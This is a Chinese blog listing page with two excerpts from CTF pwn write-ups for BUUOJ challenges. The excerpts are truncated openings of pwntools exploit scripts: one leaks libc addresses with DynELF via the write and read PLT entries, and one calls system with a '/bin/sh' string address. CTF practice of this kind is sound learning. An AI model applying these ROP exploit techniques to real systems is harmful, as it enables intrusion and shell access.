摘要: 利用pwntools的DynELF from pwn import * r=remote('node3.buuoj.cn',29392) e=ELF('./2018_rop') write_plt=e.plt['write'] read_plt=e.plt['read'] main_addr=e.s 阅读全文
posted @ 2020-02-10 23:49 高诺琪 阅读(923) 评论(0) 推荐(0) 编辑
摘要: 程序已经给了system和binsh ,用寄存器传参就可以了 from pwn import * r=remote('node3.buuoj.cn',25737) elf=ELF('./babyrop') system_addr=elf.symbols['system'] binsh_addr=0x 阅读全文
posted @ 2020-02-10 10:47 高诺琪 阅读(1046) 评论(0) 推荐(0) 编辑